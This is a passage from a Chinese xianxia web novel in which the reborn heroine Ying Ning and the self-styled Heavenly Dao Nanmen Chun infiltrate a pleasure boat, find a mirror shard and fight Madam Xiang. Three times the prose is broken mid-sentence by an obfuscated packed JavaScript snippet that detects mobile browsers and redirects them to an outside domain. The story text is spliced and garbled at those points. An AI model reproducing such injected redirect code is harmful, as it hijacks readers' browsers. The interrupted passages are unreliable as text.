“怎么偏赶上这天月事?”坐在里面的少女也起身,第一个登上大船,道,“既然来了月事,就先去底下休息吧,湘夫人心地好得很,不会让你们来着月事接客的,等过去了再来二楼找我。你们两个资质都不错,又懂得审时度势,好好努力,以后大有前途。” 应宁问道:“你叫什么名字?” “我叫阿蛮,”少女道,“除了夫人,这里数我管事最多,你们以后有什么大小事,都来找我就行了。” 无相兰舟是一艘三层高的大船,每层又都有外面普通的两、三层小楼那么高,小船穿过法阵,来到兰舟的底层,一众女子们就从那小门里进去,都得提着裙摆,摇摇晃晃地迈门槛。 应宁眯起眼,隔着朦胧雾霭遥望船头,那里放下了一条百米宽的长梯,正在迎接恩客们大船。 领头的少年人拿着把扇子,正是谢大公子谢晨,果然如他自己所说,实力非同寻常,赫然是第一个登船的。 “阿蛮!”船内有女子喊道,“快点,叶氏那位又来找你了!” 阿蛮“啧”了一声,道:“冬社真是好大的排场。” 她直接上二层,匆匆走了。 应宁蹭过中指上的难容,放出一条细细的红线,缠住阿蛮的裙摆,一晃变为透明,自己则跟着众人一起,进到狭窄的船底舱中,被船娘安排进了一间小屋里。 “月事来第几天了?” 走之前,船娘问南门春道。 南门春:“……第三天。” “好,”船娘点头道,“两天后自去二层找阿蛮,别想着偷懒,不然没有饭吃。” 南门春低下头,权当应下了。 应宁挤进门,打量起这小屋来。 除了她和南门春,还有那女宾跟那坐在她们对面的女子,四人一间,上下床铺,不到一丈见方,抬头就是房梁,除了四套被褥、四只放了刷牙子与汗巾的破木盆外,再别无他物了。 那原坐她们对面的女子却合十双手,感动道:“谢天谢地,终于有被子盖了!” 尽管那被子薄薄一层,连棉花都没絮,褥子比被子还薄。 凡间的凡人尚且吃穿不愁,仙界的凡人反倒温饱都难解决了。 应宁看在眼里,拧起眉头,面上却道:“我家小姐是仙者,要单独住一间,我得去找阿蛮。” 两个凡人女子十分理解,都点头让路。 应宁又挤出了门外,关上门,同南门春轻声道:“走,冬社来找阿蛮的人,一定是叶飞绝。” 底层十分逼仄,南门春反倒舒服了些,扶着墙道:“真的叶飞绝已经死了,你是要直接把信物还给现在这个冒牌货,还是又想如何?” 应宁想起了自己的上辈子。 她当初就是在这片色海上,找到的那支独天下春,而且还同时找到了一本书。 她不禁一笑道:“我先给你看个故事。” 一个感天动地的爱情故事。 14. 第 14 章 船底舱里,忙来忙去的多半是女人,且多半是凡人。 有帮厨的抱怨着:“哎呀,冬社的人可真讨厌,在船上住下就不走了,每天的吃食都要调着花儿地准备。” “不是都说仙人辟谷,不用吃东西吗?” “不吃也得做,否则怎么体现得出他们高人一等呢?” “别说吃的,穿的,用的,一律都是一等一的好东西,我们湘夫人自己都没有这个待遇,她一个冬社的执事,又不是神女,凭什么这么难伺候?” 这时,一个站岗的男人从甲板上下来,道:“别提了,你们只负责伺候的还好,我们才是真倒霉,两边不是人,那个叶飞绝今天又把二层搜了一整遍,等下还要搜三层,拦都拦不住。” 帮厨的问道:“她到底要找什么东西,这都两天了,还没找到吗?” “不知道,”站岗的摇头道,“还好,今天谢大公子来了,也许能给调和一二。” 拐角处,应宁贴着墙壁正在偷听。 后面就是些没用的话了,她回头同南门春道:“探个路,叶飞绝已经上船两天了,肯定有住处,我们先去她房里看看。” 南门春稍一抬手,就摇头道:“探不了,船上也有法阵,不能运转灵力,只能强行破除。” “你是天道还是废物?”应宁不禁感慨道,“带你有什么用?” 南门春无奈道:“你想问她什么,我直接把她抓来给你搜魂不就行了?” “搜魂只能看到她以前做过什么,又看不出她以后要做什么,再说了,她如果自爆金丹,你又该怎么办?”应宁摆手道,“算了,还是我来吧,你看着点,别弄出声音。” 她说完,走出拐角,冲那站岗的男人招了招手。 那男人原本没抱怨几句,就开始对帮厨动手动脚,一见到应宁招手,色心又起,瞬间放下手里的,改冲应宁走来,口中喝道:“你做什么,新来的?” 他不知道,这句话已被清风禁锢在了他与应宁、南门春三人中间,没有别人听见,在帮厨的视角里,只像是他突然有事走了,帮厨还兀自松了口气。 应宁毫无废话,直接一把揪住他的领子,将他拽了过去。 站岗的男人还以为来了个主动的,咧嘴猥琐地笑了起来,完全没想到应宁看似病弱,实则力气极大,直接将他一把拽着撞在墙上,给撞晕了头! 南门春心道,难道这就比我高明?不过他到底没说出口。 应宁指尖飞出一条红线,直接飞进那男人的太阳穴中,五指一收,就拽出一把带着魔气的扭曲画面。 “找到了,在二层东侧正中。” 南门春感受到了魔气,皱眉劝道:“搜魂毕竟是邪魔外道,于人于己都有影响,你在阳关就搜了许多凡人,若仰赖此术,长此以往,恐怕容易神魂失常。” 应宁冷笑道:“外相也是邪魔外道,你着相道的道行也不浅,轮得到你来说我?” “我是天道,”南门春重申道,“天道以无情道立心,以君子道立命,以三千大道继往圣之绝学,镇守三界万世太平,自然能精通万法,也不会动摇本心。” 好一个君子道立命,镇守三界太平。 应宁嗤笑道:“你是天道,我是凡人,所以你就不会动摇本心,我就会了?这就是你的君子之道,自视甚高,却视凡心如草芥?” 魔修多半不得好死,如湘儿此前所言,鬼道修者的结局无一例外,都是被“万鬼噬心”,可明明是好心劝诫,南门春却被她反问得哑口无言。 应宁见他无话,也不同他废话,捻了捻手上的红线,感受着其中一根丝线的方向。 “现在阿蛮在三层,叶飞绝肯定也在三层,我们正好趁机去二层探查。” 南门春无话语权,只得跟着她走。 路上又遇到几个守卫的女兵,盘问他们做什么的。 应宁一律答道:“我们是新来的,去找阿蛮换个房间。” 有人劝了他们一句:“现在阿蛮正忙,你们去也没用,不如先将就一晚。” 应宁便把锅都扣在了南门春头上,道:“我家小姐可将就不来。” 众人一看,南门春的病态已经远超应宁,只得同情地给她们指路。 “一对病秧子,”有女子目送她们走后,悠悠叹道,“也不知能不能撑过一晚,可怜啊。” · 兰舟底层无人管束,一层则各忙各的,各种淫词艳曲不绝于耳,直待到二层,守卫就忽然严谨得密不透风了。 越是这样,越是有鬼。 “现在你要怎么办?”南门春问。 “先等。”应宁道。 他们没等多久,二层果然就撤了许多人手,全都涌上了三层,甚至一层也来了不少人,挤满了好几条楼梯。 应宁与南门春挤在一间装饰花哨的更衣室里,等人都上去了,才探出头来。 “就剩下这么几个人,你应该可以对付了吧?” 应宁话还没问完,那几个人就已窒息晕倒在地,南门春似乎想证明他不是“废物”,已主动出手了。 她侧头一看,他还是那病歪歪的样子,连扇子都没开。 看来痛觉在他身上,也不影响他的实力…… 应宁一边想着,一边掏出独天下春,驱使难容探路,用红线勾勒出二层的阵法,小心绕过阵眼,有冬社的寒梅信物在手,几乎是畅行无阻,很顺利地就进入了叶飞绝的房间。 这房间普普通通,并无多余陈设。 唯有正中的桌子上,放着一面镜子,和一枚玄铁铃铛。 与前世收获的,一模一样。 应宁对着那两样东西冷笑一声。 南门春见她没动,自己伸出手,隔着一层风做的手套,捏着那铃铛“抚摸”过后,道:“这是叶氏的雨霖铃,用来通讯的,四社皆有,没什么特殊之处,看不出她背后是谁,又用来跟谁联络。” 应宁摊开掌心,接过那铃铛,收进难容的芥子乾坤中,又问道:“那镜子呢,看出什么没有?” 那镜子有巴掌大小,看镜框只是个普通的梅花妆镜,但镜面却不同,纤薄如纸,无分正反,两面反光,非黑即白,就是不照人影。 南门春捏起那面小镜,以磅礴的灵力注入其中,镜面如吞针入海,倏然吸收。 他终于整顿病容,正色道:“这是明镜。” 明镜台是陈列在瀛洲的神器,世人皆知,神器不毁不灭,怎么会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617883|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一块巴掌大的镜片碎在了这里? 镜子是何时碎的,又为何会在这个假的叶飞绝手中? 应宁低笑出声。 “你们不是说,明镜记载的,就是天意吗?” 南门春思忖过后,第一次否认了明镜的意义。 “明镜确实是天意的载体,但我才是天道,我说是,它才是。” 在此之前,他从来没有说过,他的意思会与明镜向左。 这是因为他第一次看到了明镜台之外的明镜。 这到底是不是明镜?连他也说不清楚。 应宁饶有兴趣地观察着他的表情,猜测他的那个“主人”,应该就是炼出了明镜台的炼器师,但这个炼器师并没有告诉过他,这世上还有别的镜子,也许是因为“主人”对他有所防备,又也许是因为……当时,这面小镜子就不存在于世。 “你说是,它才是?”应宁笑道,“你在担心什么?” 她很清楚,南门春到底在想什么。 很简单,就和在阳关前,她知道只要略费口舌,他就不会押送自己回瀛洲一样,因为命数已经变动了,而他并非全知,就算把她压在明镜台前,只要镜上不写满她的一生,那他也不知道后续该如何处置。 人一旦不信天,就会发现,这三界根本就不存在什么“天意”。 凡人命贱如草芥,却也多如草芥,春风吹又生,人生在世,每个人的一生又岂是几部大部头能记载得完的?何况如此多的人,人人的命数都交织在一起,谁能把这些人都写完?明镜纵是神器,又如何能道尽天机? 世间本无天道! 应宁知道,南门春否认这面镜子,而选择肯定他自己,是因为什么。 因为最重要的是,如果这面小镜上浮现出的“天意”,与明镜台的不同呢? 哪一个,才是真的天意? “我就让你看看,到底什么才是你所谓的天意吧!” 应宁笑着举起那支“独天下春”,梅枝尖儿向镜子轻轻一点。 只见那镜框上的梅花花苞次第舒展开来,非黑即白的两面镜子顿时呈现出了一副五彩画卷! 那是一本与这个世上的竖排左开完全不同的,横排字、右开本的小书,书封面上画有一黑衣男子和一白衣女子,书名为《我死遁后,阴湿魔君火葬场了》。 上辈子,第一次见到这本书时,应宁整个人都呆住了。 这是个什么书名? 像极了人间地摊的常见话本,应宁是从未看过的,可那画中的白衣女子,就是她的师妹,黑衣男子就是她的师弟,而书中的恶毒反派,赫然就是她应宁自己! 应宁笑了好一会,才收住笑意,道:“怎么样,是不是很精彩?” 令她没想到的是,南门春竟然略显茫然与尴尬。 他拿着镜子,愣了一会,才承认道:“我看不见。” 重生后,应宁对一切都有把握,这还是第一次震惊。 此“人”自称是天道,却竟然看不见明镜里的内容。 而且,他居然把这个事实告知了应宁。 南门春完全没有想过,这相当于是他亲手递给了应宁一把最锋利的刀,而刀尖正冲着他自己。 15. 第 15 章 “你看不见明镜?” 应宁脸上笑意全无。 明镜台就高悬在瀛洲的云中道顶端,如一面白纸黑字的方形天书,记载着三界的大小事宜,从应宁的天道之命,到每一个前去试灵之人的灵根,再到每年春秋试剑的三甲…… 它几乎是三界的定海神针,每句历史,都必为真,每句预言,也都必兑现。 “你既然看不见明镜,那你凭什么说我违反了天道!” 应宁不禁高声质问起南门春。 原本应宁以为,他作为“天道”,就算眼瞎,也应该看得见明镜,不然如何能立刻飞奔去阳关把她找出来的呢?却原来他瞎到连明镜都看不见! 是了……这也是有预示的,应宁思绪翻涌,心道,他连白色都没有概念,那确实是看不见非黑即白的明镜,这一点他没有必要说谎。 “我……”南门春犹豫一瞬,最终只道,“我自有我的办法。” 应宁心头一凛,沉声道:“是谁告诉你的?” 南门春似乎完全不会说谎,还是坚持不答这个问题,道:“你先做你要做的事吧。” 不过应宁心中已经有了思量。 她冷冷勾起唇角,伸出食指,指尖向上一拨镜片,将那镜子从南门春手中拨起,在空中转了几圈,而后接住,也收入了难容之中。 “那先走吧,”她道,“这里看不出什么东西,我们再去三层,找湘夫人的房间看看。” 南门春紧随其后,提醒她道:“你非但没有把独天下春还回去,还又拿走了这里的雨霖铃和明镜。” “呵呵,”应宁敷衍道,“这是天意啊,我看得见,所以好心告诉你一声,这面小镜子里写得清清楚楚,我就应该都拿走呢。” 这完全是信口胡说了,可南门春竟拿她毫无办法。 二人撤出二层,却正好见到一女子,在另一女子的搀扶下,扶着肚子走上楼来,四人打了个照面。 被扶着的那个,居然又是之前食肆里那女宾。 “你……” “你们……” 此前在食肆里,所有人都穿着保守的衣服,将自己皮肤裹得严严实实,这女宾穿得尤其多,应宁还以为她只是怕水上风大,畏惧风寒,却原来是怀了身子,现在一看,肚子已不小了。 “你们认识?”扶着女宾那女子后退一步,警惕看着他们和背后倒下的人,“这里是怎么了?” 应宁连忙一挥手臂,手背向后,打在南门春的唇上,制止他开口,道:“我们要去找阿蛮换房间,不巧碰到他们和冬社的人打起来了,你们呢?” 南门春用扇子沿边轻划过自己的下唇,虽无触觉,但第一次被人碰到,难免有些奇怪。 应宁则用另一手蹭蹭手背,感觉手背上一片冰凉,仿佛摸了冰似的,也不知南门春的本体是个什么东西,体温像个雪人。 女宾点头,示意她们都认识,不必大惊小怪。 那扶着她的女子这才舒了口气,道:“我带她去找湘夫人,讨一碗子母河水。” 应宁立即警觉道:“子母河水?” “你们新来的还不清楚,要记住了我们兰舟的规矩,以后如果有孕,就要先去找湘夫人,喝过子母河水,才能生产,”那女子道,“我们兰舟只生女胎。” 道法自然,阴阳相生,世上哪有这种河水,能喝下后只生女胎? 怕是只生鬼胎还差不多。 此时,南门春才终于明白,这个湘夫人的真身就是湘儿。 应宁冷静想了想,劝道:“可现在上面打得热闹,你们还是先下去吧,我们有道行的,方才才能躲起来,躲过一劫的。” 两个女子商量几句,听劝又回去了。 应宁步履坚定,向三层走去。 · 三层有一片向下挑空的大露台,能看向二、一层的厅堂,两侧回廊上站满了仙者,共分成三个派系,正在吵架。 露台正中,一个红衣的婀娜背影坐在秋千上,向下望去,遥遥喊道:“叶飞绝,你们冬社来我兰舟做客,已经是第三天了,天天喊打喊杀,泥人尚有三分火气,真当我们是好欺负的不成?” 听声音,与伥鬼一模一样,她就是湘夫人。 湘夫人正对面,通往二层的回廊上,则站着一个身穿白衣的少女,腰佩一把上品仙剑,正是幻境中那个被伥鬼所杀的叶飞绝。 叶飞绝已经拔剑出鞘,只在手中随意挽着剑花,懒洋洋道:“我一早就说了,谢寻偷了我们冬社的东西,只要你交出谢寻,我们何必大动干戈?” 一层的舞池中,以谢大公子谢晨为首,周围还有不少散仙,怀里各个左拥右抱,向上看着。 谢晨着一身金衣,“哗啦”一声,甩开折扇,仰头指点叶飞绝,朗声道:“我谢氏如今虽不比从前,但也没沦落到去偷你叶氏的东西吧,你倒是说说看,你们丢了什么东西?” 叶飞绝冲他一拱手,道:“谢大公子自然不屑做出这等卑贱之事,但谢二公子嘛……” 一楼大厅喧闹起来,众人你一言我一语地说起了这位谢二公子,谢寻。 “那谢寻出身卑贱,就生在这兰舟上,母亲是个妓、女。” “可他如今是秋社的天才,今年的春秋试剑,秋社就指望他一举夺魁呢!” “谢氏从没让他进过门,他靠什么爬进的秋社?进秋社如斗蛐蛐,是要经过无数厮杀,爬上云中道才能登仙的,他今年才十八岁,刚刚结丹,如不是用了什么特殊手段,能比谢晨还厉害?” 整个三层已挤满了人。 应宁和南门春无法向前,只能悄无声息地钻进人群中。 楼下,谢晨摇起折扇,问道:“我这个弟弟虽然出身低贱,但谢氏家业尚在,还不至于亏待了他,你倒是说说看,你们丢了什么东西啊?” 叶飞绝答了句废话:“我们丢的这件东西说大不大,说小不小,不能随便告与外人知。” 南门春侧过头,轻声同应宁道:“独天下春?” 应宁没点头,也没摇头,皱起了眉毛。 她上辈子没上过兰舟,也不知道师弟与冬社还有这么一出,只看现在这个情况,猜是如此,但总感觉有一种说不出地怪异。 不止他们猜测,底下也有很多人交头接耳。 “是不是‘独天下春’?” 有陪酒的凡人女子不懂,问道:“什么是独天下春?” “是叶氏冬社信物,一剪寒梅,上面的冬雪终年不化。神女若现世,必携信物以服众。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630154|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“神女已多年不曾现身了,今年的春秋试剑有谢寻,如果神女再不出手,冬社必输。” 凡人女子以甜腻的声线问道:“春秋试剑又是什么?输了又能如何?” “秋社试剑,胜者得秋社信物,‘百花杀’;春秋试剑,胜者可得春社信物,‘王者香’!谢寻已赢了谢晨,夺得秋社的百花杀在手,明年若能再赢冬社,得王者香,又窃取独天下春,就一人独占三社信物了!” 听到众人议论,谢晨脸色不大好看。 叶氏秋社与另外三社不同,是唯一一个允许外姓人入主的宗门,此前秋社信物一直是在他谢晨手里的,谁知今年横空出世一个野杂种谢寻,十八岁刚结金丹,就艳压群芳,从他手里抢走了百花杀。 “独占三社信物,又能如何?” “明镜台有言,得四社信物者,得天下。” 谢晨听到这里,终于忍不住嗤笑一声,眼中却毫无笑意,将扇子摇得起风,道:“自馨烈侯去后,春社无人,王者香就不曾有过主人,一直供奉在春社祠堂中,已经几百年了?” 馨烈侯威名尚在,众人于是无话。 谢晨又道:“更别提馨烈侯唯一的关门弟子——不秋仙尊——他老人家如今还在坐镇夏社。纵使是改修无情道避世,经年不见其人,不秋仙尊的实力也毋庸置疑,舍弟尚且是不秋仙尊的二弟子,怎会越过仙尊去,争夺师祖的信物?所谓舍弟欲夺四社信物而得天下,纯属无稽之谈!” 众人听后,连连点头,都被谢晨说服了。 师祖是没了,师尊还在,谢寻就算能赢得师祖的信物,难道还能杀得了师尊,夺得夏社的信物吗? 应宁却眯起双眼,心道不妙。 她这个师弟,还真能。 上辈子,谢寻赢得了春秋试剑,但却在试剑台上入了魔,没有得到王者香,只卷了魔化的百花杀遁入魔界,成了魔尊,人称九华老祖,与不秋仙尊齐名,难分高下。 应宁死的早,都没有看到这师弟和师尊谁胜谁负。 难道上辈子他们打得昏天黑地,几乎屠戮了整个人间,就是为了明镜台这句预言,为了争夺那个信物吗? 可实际上,夏社的信物死不改节,并不在不秋仙尊身上,早就被传给应宁了! 此事只有应宁与不秋仙尊知道,应宁上辈子将死不改节藏进了自己的肋骨间,到死都带着这根竹节,最后想必是随着她的遗体尘归尘了,也不知道有没有被谁找到。 应宁心中惊疑不定,默不作声地看着这场戏。 南门春则在猜,应宁方才连头都不点,似乎与自己生了罅隙,缘由想必就是明镜的那个问题。 没成想,叶飞绝这时却道:“如果我说,我要找的不是冬社信物呢?” 湘夫人面沉如水,道:“你到底要找什么,说清再说。” 叶飞绝叹气道:“我要找的东西,我不便多说,但你心里却很清楚是什么,你若还是执意不肯将谢寻交出来,我只能掀了你这兰舟了。” 什么东西,比信物还重要,还照她所言,曾在湘夫人手中? 应宁发觉诡异之处了。 信物是要用来嫁祸给她的,怎么会问谢寻索要? 叶飞绝现在要的,恐怕是两把神武。 16. 第 16 章 阳关驱鬼一役后,食肆里就已有人散出传言,说难容现世。 可她为什么要向谢寻索要难容? 别说现在神武是无主之物,谁拿到就是谁的,就算是上辈子,神武也是谢寻亲手从阳关的河底打捞出来的。 谢寻捞出神武后,自己留下了峥嵘,难容则被分给爱漂亮的小师妹,最后又由小师妹在谢寻入魔后,转赠给了谢寻,两把神武都是谢寻的,叶飞绝若是小师妹的人,为什么要问谢寻索要? 应宁冷眼看戏,暗自猜测着她这到底是唱的是哪一出。 “打狗还要看主人呢,”湘夫人回叶飞绝道,“谢寻自降生之日起,从小到大都吃在长在我无相兰舟上,你要我交出来我就交出来,你算什么东西?叫叶肃肃亲自来跟我理论!” 众人一片哗然。 “看来谢氏真是一天没养过这私生子啊……” 湘夫人明言,谢寻是兰舟的人,似乎与谢氏无半分瓜葛,这让谢晨脸色十分难看。 又有人叹道:“神女叶肃肃怎么说也是谢寻的小师妹,师出同门,怎么会闹到现在这个地步?” “叶肃肃先是冬社神女,而后才是夏社掌门的弟子、秋社继承人的师妹,她做事当然要先替冬社考虑。” 叶肃肃,再听见这个名字,应宁恍惚许久。 神女叶肃肃。 肃肃。 她的小师妹………… “神女岂能上你兰舟?”叶飞绝嗤笑一声,道,“你自己做的什么腌臜生意,自己不清楚?神女若要来,我还得替她开路,先把这一船的脏东西沉了湖、清干净!” 此言又掀起一片惊呼。 “你说谁是脏东西,嘴巴放干净点!” 阿蛮就站在湘夫人身边,对叶飞绝怒目相向。 “你们叶氏仙门又有多干净?天下无主之物,能者得而居之,你们全要据为己有,凭什么?这不是强盗行经又是什么?” 她这话,相当于承认了,谢寻真的拿了什么东西。 但是……无主之物? 众人再次议论起来: “冬社要的真不是独天下春?” “什么无主之物?” “说起来,你们有没有听说过,最近两天……有神器现世了。” 眼见众人就要猜出是神武,叶飞绝直接在空中一抛宝剑,向一层狠狠一掷。 这一剑擦过谢晨侧颈,裂开一层地板,直插入了船舱底下。 船舱底,此前被应宁撞晕的男子正晕倒着的,不巧正被这一剑刺死! 而这仙剑还去势不停,一路裂开了船舱的地板,将整个兰舟斩开了一条大缝隙,船体剧烈震荡,灌了许多水来。 “天下无主之物,能者居之,这话不错!”叶飞绝轻蔑一觑,全不把那刺死之人放在眼中,冷声道,“不过我今日要再告诉你一遍——能者,唯叶氏;叶氏,唯冬社!” 好大的口气。 众人议论纷纷,却无一人敢动手。 唯有阿蛮,手持一丈红绫,冲叶飞绝飞扑过去,却被叶飞绝轻飘飘一袖拂开,倒飞出去,撞在柱子上,吐出一大口鲜血。 “我提醒你们,”叶飞绝不屑道,“我已修至金丹大后期的境界,半步化神,在座的无人配与我交手,保自己的命,还是保谢寻的命,你们自己掂量吧。” 露过这一手后,就连被削去一缕发丝的谢晨,都攥紧了扇子,咬牙忍住了。 叶飞绝又道:“湘夫人,谢大公子,我看在兰舟和谢氏的面子上,再说最后一遍,我要的只有谢寻,只要交出谢寻,大家相安无事,但若继续执迷不悟,从今日起,我保证你兰舟一日沉一层,直到所有人全部填湖为止。” 说完,她拂袖离去。 这场戏,应宁看得是叹为观止。 南门春也震惊了。 “她……她之前,不是连那伥鬼都打不过吗?”南门春不禁问道,“你还拿了她三样东西……” 应宁长出一口气,坦诚道:“我怎么知道?” 此一时,彼一时,现在这出戏码,演的是冬社只手遮天。 你们冬社在外如此嚣张……叶肃肃知道吗? 应宁看向一层开裂的地板,整个底船舱已乱成一团,连一层都有许多客人嚷着要提前下船了,那更底下的凡人猛然见一活人就死在眼前,不定有多心慌,其中还有怀孕的孕妇…… 谢晨能忍,湘夫人能忍,这一船人谁都能忍,她应宁是断然忍不下去的。 半步化神又如何?化神期的,她应宁上辈子纵无神武在手,也不是没拼过! “湘夫人!” 未料有人比她还要性急,先一步冲向了湘夫人。 阿蛮捂着胸口,擦掉唇边鲜血,连珠炮似的问道:“谢寻到底拿了什么东西?他赶紧还给冬社不行吗?难道真要我们一船人给他陪葬?” 湘夫人驳斥她道:“冬社欺人太甚,你忍一寸,她近一寸,焉知就算把无妄交上去,她们就能就此作罢?” 谢寻小字无妄,湘夫人叫他叫得十分亲切,却有几分当娘的架势,哪像有什么男女之情?谢寻上辈子入魔后花名在外,吃喝嫖、赌五毒俱全,应宁却越听,越觉得跟前世听来的传言毫不相关。 “以后如何,再论以后,现在只能先解燃眉之急,拖延一日,就多死无数人!” 阿蛮吐血不止,嗓音嘶哑,还急着辩驳。 “您和姐妹们一起把他拉扯到大,兰舟不欠他一分钱,他却欠兰舟一条命!现在他自己在外招惹出事端,要连累整条船的人命,还不能让他自己去解决吗?我现在就去搜船,先把他交出来吧!” 话说的句句在理,应宁都想给她鼓掌。 今日初见时,应宁还真没看重过这个阿蛮,只当她是个寻常少女,没想到如此有胆有识,难怪实力平平,却是整条兰舟的二把手、一把抓。 湘夫人却冲阿蛮喝道:“住口!谁许你做出如此薄情寡义之举!我绝不会把无妄交出去,这条兰舟誓要与船上所有人共存亡!” 说完,湘夫人也拂袖回了船头的大房间。 只剩阿蛮跌坐在地,与底层一地鸡毛。 · 应宁冷笑着走向湘夫人的房间。 阿蛮抬头看见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643360|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与南门春,一愣,道:“你们、你们有什么事,先来、咳咳……先来找我,不要现在去触夫人的霉头。” 她自己话都难说请了,还在担心别人。 应宁回眸一笑,柔声道:“你先好好养伤,忙你自己的事吧,我家小姐有话想单独跟湘夫人说。” 她连门都不敲,径直推门而入。 阿蛮愣着坐在地上,想了想自己能做的事,回头看向底层颓唐的谢大公子、慌乱的客人与女人们,最终下定决心,擦干唇边的血,点了几个侍卫,向三层船尾走去。 · “湘夫人,”应宁进门,开门见山,道,“或者湘儿,我叫你什么好呢?” 南门春跟在她身后,不必动作,自有风起,关上了身后的门。 这屋里一片赤红,红窗红床,红门红帐子,门侧放了一张红木小方桌,桌上供着一只香炉、一提篮牡丹和一只盛满纯黑污水的金杯,炉子上的墙壁挂了副堆满牡丹的刺绣。 湘夫人背对她们,坐在窗边的梳妆镜前,红裙铺展一地。 “你叫我阿湘吧,我们也算是老相识了,”她用一把木梳梳着披散的长发,不紧不慢道,“殿下,不算神武,我还亲自割肉,给你送上了两份大礼呢,鬼力你可还用得习惯,香火吃得可足?” 应宁抽出左手中指上的红线,捏在手中缠了两圈。 “不太习惯,也不足,”她向湘夫人勾了勾食指,道,“我还想要尝尝你现在这具化身。” 阿湘转回头,模样已与方才示人的妇人样截然不同,散了发髻后更显年轻,眉宇间却全是黑气。 “殿下,我与阳关那伥鬼和湘儿都不同,我并未残害过女婴,也没有拐骗过萍水的女人,上辈子的皇宫血案、四社会审,也都不是我犯下的,我与你非但无仇无怨,甚至还对你有恩有惠,否则你真以为,你能在我的面前肆意横行,截走叶飞绝的独天下春和明镜?” “嗯,我知道。” 应宁点头,端起门口的金杯。 “上辈子,我就猜测,那两样东西是你主动给我的,我不怪你。”应宁晃了晃那杯子,长叹一口气,问道,“我姑酌彼金罍,维以不永怀。这就是子母河水吗?这就是你给那些女婴选择的路? “阿湘,你让她们来这船上为娼为婢?” 这船上哪来的这么多女婴? 世上哪来那么恰好的事,阳关少的,这里就多? 不过是有鬼在作祟。 “我在替她们寻觅生计!”湘夫人尖声吼道,“你知道在仙界的凡人有多难活下去吗!你是凡间的人皇,应有语,你不插手仙魔两界的事,你什么都不懂!既然不管,就不要出现在我面前自以为是,为什么现在又要来管!” 应宁信步走到她身前,无惧她变了形、复又流下血泪的容颜。 “这些人原本就应该是我人间的子民,”应宁轻声道,“你将她们偷渡来仙界,我自然要管,以后,仙魔两界的凡人,我也都要管,而且我管定了。” 湘夫人神色恍惚,抬头怔怔地看着她。 “我来晚了。”应宁道,“你可以休息了。” 17. 第 17 章 休息? 湘夫人怔住了。 “把你的香火给我吧,”应宁一手轻放在她肩上,温声相劝,“我会替你收拾残局,保下这一船人性命。” 湘夫人脸上的血泪终于滚落,红衣也渐渐化为伥鬼生前的嫁衣模样。 “不,”她仰起头,嗓中发出一声尖啸,道,“不!你跟阿蛮一样,你们都想交出无妄,换兰舟平安!无妄是我毕生挚爱,哪怕我魂飞魄散,也不会允许你交出无妄!” 她这声音尖细如哨,响彻兰舟上下三层。 船尾,阿蛮闻言,猛然回头,而后又咬咬牙,冲身边人道:“继续给我搜,翻个底朝天,也要把谢寻找出来!” 而船头,此时已魔气四溢,洪水般瞬间席卷了整个房间。 应宁左手抽出峥嵘,右手捏紧难容,警惕回身。 “南门春!” “我在,”南门春犹豫道,“但我不能出手杀她,这是天意使然。” 早料到他没用,应宁冷笑一声,抖开难容,红线再次如蛛网般展开,铺满了整个房间。 她向后退了两步,撞开南门春,逐渐推到门边的方桌附近。 鬼修成身即等同成神,不结金丹,没有硬性的衡量标准,但能推测得出,湘夫人的实力至少在金丹期以上,明显不能与伥鬼和湘儿同日而语,应宁也不能跟她硬拼魔气,要从她的根基下手。 湘夫人动作飞快,先一步伸出鲜红的长指甲,向她迎面抓来! 难容回防的速度不及,应宁左脸被她抓了三条血痕。 南门春痛得倒吸一口冷气。 “我……”他似乎想动,却不能动,还犹豫道,“并非是我不想出手,而是你不该出手……” 应宁继续向后退步,呵斥他道:“别说废话!不要影响到我听声!” 武器能发挥出多大的效力,要看使用武器的人,而应宁知道,自己从来都不是天赋绝伦的那一类,她不仅要努力,还要想办法借力。 下一秒,湘夫人再次袭来,指甲上带着血迹,竟然已绕到了她背后,又在她背上抓出了五条血痕! 这次伤得更深,从右肩到左侧腰上,已经皮开肉绽,隐约可见筋骨。 应宁仍旧回防不及,继续下去只会被她耗死。 南门春痛得咬牙,劝道:“你抵不过她,烧还没退,再受伤恐怕性命难保,我现在带你走!” 湘夫人第三次出手,从一个极为刁钻的角度,绕过层层叠叠交错的红线,抓向应宁纤细的脖颈。 应宁冷笑一声,终于回防住了, 红线在不知不觉中,已经织成了一副天罗地网,将湘夫人死死缠在其中,如当初包裹住伥鬼的茧子一样,将湘夫人整个卷成一团。 “你杀不了我,你杀不了我!” 湘夫人却不比伥鬼羸弱,一边尖啸着,一边用力挣脱,将那茧子撑得起起伏伏,很快就要捅破。 “是吗?” 